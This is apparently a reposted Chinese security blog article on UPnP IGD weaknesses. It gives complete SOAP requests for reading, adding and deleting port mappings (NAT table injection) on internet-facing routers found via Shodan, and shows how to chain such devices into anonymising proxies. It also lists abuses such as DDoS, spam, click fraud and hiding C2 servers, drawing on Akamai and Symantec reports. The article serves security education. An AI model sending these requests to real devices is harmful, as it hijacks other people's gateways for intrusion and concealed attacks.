内容简介:本篇是UPnP安全系列的第三篇,主要对UPnP安全相关的问题进行总结并尝试复现,同时梳理和归纳历史上一些设备UPnP出现的漏洞。在开始阅读本篇之前,如果不熟悉UPnP的相关观念与工作流程,强烈建议阅读本系列前两篇文章:相关的知识在这里有一个不错的总结:
本篇是UPnP安全系列的第三篇,主要对UPnP安全相关的问题进行总结并尝试复现,同时梳理和归纳历史上一些设备UPnP出现的漏洞。
在开始阅读本篇之前,如果不熟悉UPnP的相关观念与工作流程,强烈建议阅读本系列前两篇文章:
1. UPnP IGD 配置安全
相关的知识在这里有一个不错的总结: UPnP IGD hacking
1.1 UPnP IGD(Internet Gateway Device)profile
在很多网关(IGD)设备上都具备UPnP的服务,甚至有的设备是默认开启UPnP的,那么其中有一些UPnP的配置就会产生相关的安全问题。
其中两个最主要的配置是:
- LANHostConfigManagement
- WANIPConnection/WANPPPConnection
LANHostConfigManagement:主要用于查询、配置一些网络相关的设置,如DNS, DHCP等。
WANIPConnection/WANPPPConnection:主要用于配置防火墙、NAT表等。
另外需要注意的是,上述两个服务在具体的设备中名称可能有所变化,但是提供的功能是基本相同的。
1.2 LANHostConfigManagement配置 安全问题
该配置主要允许用户设置与查询本地的网络设置,其中一些功能可能会影响安全,如:
- SetDNSServer
- DeleteDNSServer
- SetIPRouter
- DeleteIPRouter
利用这些功能修改设备配置后会产生严重的安全问题。但有一点需要注意的是,现实场景中很多的设备虽然按照标准提供了上述功能,但是实际发包进行修改时会出现各种问题导致修改失败。
1.3 WANIPConnection/WANPPPConnection配置 安全问题
在现实场景中一大批的UPnP设备提供了WANIPConnection/WANPPPConnection服务,主要是方便快速的对NAT、IPtables进行配置,这也是UPnP出现的初衷(可以参考这里UPnP 意义)
为了实现上述操作,UPnP就需要提供如下两个操作:
- AddPortMapping
- DeletePortMapping
顾名思义,这两个操作就是用于增删端口转发的,这两个功能通过发送SOAP数据包而实现。(SOAP的格式可以回顾这里: UPnP工作流程-控制(Control) )
AddPortMapping
这个功能就是用于添加端口转发的,有下面几个参数:
NewRemoteHost NewExternalPort NewProtocol NewInternalPort NewInternalClient NewEnabled NewPortMappingDescription NewLeaseDuration
DeletePortMapping
用于删除转发,有下面几个参数:
NewRemoteHost NewExternalPort NewProtocol
1.4 实践
那么为了完成上述操作的演示需要找到提供了 WANIPConnection/WANPPPConnection 和 LANHostConfigManagement 功能的IGD设备,这里就可以借助各类网络空间搜索引擎进行查找,例如使用shodan检索关键词: rootDesc.xml :
可以看到会发现大量UPnP设备的Description XML,通过配合自己编写的脚本就可以发现大量具备上述两个功能的设备。
我们用一个找到的设备举例:
在这个设备中有两个服务:
- urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
- urn:schemas-upnp-org:service:WANIPConnection:1
刚好与我们前面提到的两个配置一致。
WANCommonInterfaceConfig配置 安全问题
访问WANCommonInterfaceConfig的SCPD URL查看具备的功能:
构造SOAP数据包:
POST /ctl/CmnIfCfg HTTP/1.1
Host: x:1900
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: text/xml; charset=utf-8
SOAPACTION: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
Content-Length: 333
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:GetCommonLinkProperties xmlns:u="urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1#GetCommonLinkProperties">
</u:GetCommonLinkProperties>
</s:Body>
</s:Envelope>
这里可以看出并没有我们想要的相关信息,如DNS、DHCP等,这个主要和具体设备的实现有关。
NAT表项注入攻击
访问WANCommonInterfaceConfig的SCPD URL查看具备的功能:
在注入NAT表项之前,我们先查看现有的表项:
POST /ctl/IPConn HTTP/1.1
Host: x:1900
User-Agent: Debian/buster/sid, UPnP/1.1, MiniUPnPc/2.1
Content-Length: 341
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#GetGenericPortMappingEntry"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetGenericPortMappingEntry xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewPortMappingIndex>0</NewPortMappingIndex>
</u:GetGenericPortMappingEntry>
</s:Body>
</s:Envelope>
通过遍历 NewPortMappingIndex 参数即可获取整个NAT表项。可以自己写脚本,也可以使用这个工具: upnpc
接下来我们尝试将该IGD设备的80端口映射到外网的45678端口上:
POST /ctl/IPConn HTTP/1.1
Host: x:1900
User-Agent: Debian/buster/sid, UPnP/1.1, MiniUPnPc/2.1
Content-Length: 633
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping">
<NewExternalPort>45678</NewExternalPort>
<NewInternalClient>192.168.1.5</NewInternalClient>
<NewInternalPort>80</NewInternalPort>
<NewProtocol>TCP</NewProtocol>
<NewPortMappingDescription>upnp_test</NewPortMappingDescription>
<NewLeaseDuration>1000</NewLeaseDuration>
<NewEnabled>1</NewEnabled>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
那么如果该设备如果是在本地80端口有Web服务即可直接在外网访问(遗憾的是这个设备没有在本地80开Web服务,只好用另一个设备的图当作替代的效果):
可以看出,通过这样的方式相当于打开了内网的大门。甚至我们可以利用UPnP的AddPortMapping这个功能来做一个内网端口扫描器。
删除该端口映射:
POST /ctl/IPConn HTTP/1.1
Host: x:1900
User-Agent: Debian/buster/sid, UPnP/1.1, MiniUPnPc/2.1
Content-Length: 425
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping">
<NewExternalPort>45678</NewExternalPort>
<NewInternalPort>23</NewInternalPort>
<NewProtocol>TCP</NewProtocol>
</u:DeletePortMapping>
</s:Body>
</s:Envelope>
归纳一下,NAT表项注入的整体流程如下:
从Nmap上看效果就是这样:
这两个图片均出自: UPnProxy: Blackhat Proxies via NAT Injections
1.5 小结
通过利用UPnP的上述两个服务,可能造成的安全隐患:
- 获取网关的敏感信息
- 修改网关的网络配置,造成DNS、断网等
- 通过增删NAT表项,造成特定服务断网、内网引入攻击流量等
- 通过利用NAT表项注入,形成UPnP proxy提供隐蔽流量通道,形成僵尸网络为DDoS服务
在2018年11月28日,Akamai就披露了一起大规模的利用NAT表项注入将内网139、445等samba端口映射到公网然后利用EternalBlue等漏洞攻击内网的事件: UPnProxy: EternalSilence
2. UPnP Proxy
2.1 原理
UPnP proxy其实就是利用UPnP NAT表项注入的技术,将内部地址替换成外部的公网地址从而达到网络代理的效果。其实在2017年10月16日Akamai发布的 UPnP Proxy白皮书 中就介绍的很清楚了:
关键就是在黑色的框中,向NAT表中注入一个外部公网地址和端口。
2.2 实践
首先我在自己的阿里云上开一个Web服务:
就是一个很简单的页面,用于测试是否转发成功。
UPnP Proxy 实验
找到一个具备WANIPConnection服务的UPnP设备,利用AddPortMapping功能注入一个NAT表项:
重点是将 NewInternalClient 和 NewInternalPort 参数设置为我阿里云上Web服务的IP和端口。
然后我们去访问该设备的45678端口:
可以看出成的转发了整个HTTP请求与响应。那么再去看看Web日志:
可以看出完全隐藏了我自己的真实IP。
UPnP Proxy Chain实验
我们再找一个具备同样功能的设备B,注入NAT表项,但是这次的IP和端口应该是前一个UPnP设备WAN的IP和端口即可。
另外要注意的是两个UPnP设备之间要能够相互访问。
2.3 数量统计
在Akamai的 UPnP Proxy白皮书 中有提到他们检测到的具体数据(源自Akamai2017年10月16日的报告):
- 480W的主机可以被SSDP发现
-
76.5W(总数的16%)的UPnP暴露了他们UPnP服务
-
这其中又有超过6.5W的设备存在NAT表项注入(至少存在一个指向外部地址)
- 这其中共计17,599个独立的公网IP
-
- 向外部转发的TCP端口排名前三位是:53,80,44
2.4 小结
这里结合Akamai发布的 UPnP Proxy白皮书 ,总结一些UPnP Proxy利用方法和拓展。
1. 隐藏身份,躲避流量审查
通过构建多跳的Proxy能够躲过各种流量的审查。(这个大家都懂)
2. 垃圾、钓鱼邮件
发现一些垃圾邮件也是通过这些代理发送出来的。有的转发的终点是一些邮件服务器的25端口。
3. 流量代理公司的点击欺诈
发现其中一些转发终点IP是广告的地址。那么推测这些广告就是一些黑帽小公司注册的广告地址,然后利用Proxy去访问,
这样就能实现多人访问的效果(毕竟源IP都是这些UPnP设备的),从而骗取广告点击收入。
4. DDoS
可以利用这些设备来更好地分发和混淆基于TCP和UDP的DDoS攻击。
由于UDP可以指向任何端口和IP,因此在UDP反射放大攻击中利用UPnP Proxy。此技术可用于代理 memcached 、DNS、CLDAP等常用在UDP DDoS中的协议。利用UPnP Proxy可以将少数的攻击节点伪装为成千上万不同IP的节点。
5. 僵尸网络
可以利用该Proxy进行对如HTTP、SSH、Telnet等服务进行暴力破解。
6. 恶意软件发布和通信
通过串联这些具备NAT转发的设备,能够很好的隐藏原始的IP与发送的内容。
在 Symantec披露的报告中 就披露了一个名为“Inception Framework”的APT组织使用到该技术隐藏自己。该组织使用C2服务器时就利用多级串联的UPnP设备隐藏自己真实的IP地址:
具体详情可以查看Symantec披露的报告: Inception Framework: Alive and Well, and Hiding Behind Proxies
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
ANSI Common Lisp
Paul Graham / Prentice Hall / 1995-11-12 / USD 116.40
For use as a core text supplement in any course covering common LISP such as Artificial Intelligence or Concepts of Programming Languages. Teaching students new and more powerful ways of thinking abo......一起来看看 《ANSI Common Lisp》 这本书的介绍吧!
RGB转16进制工具
RGB HEX 互转工具
HTML 编码/解码
HTML 编码/解码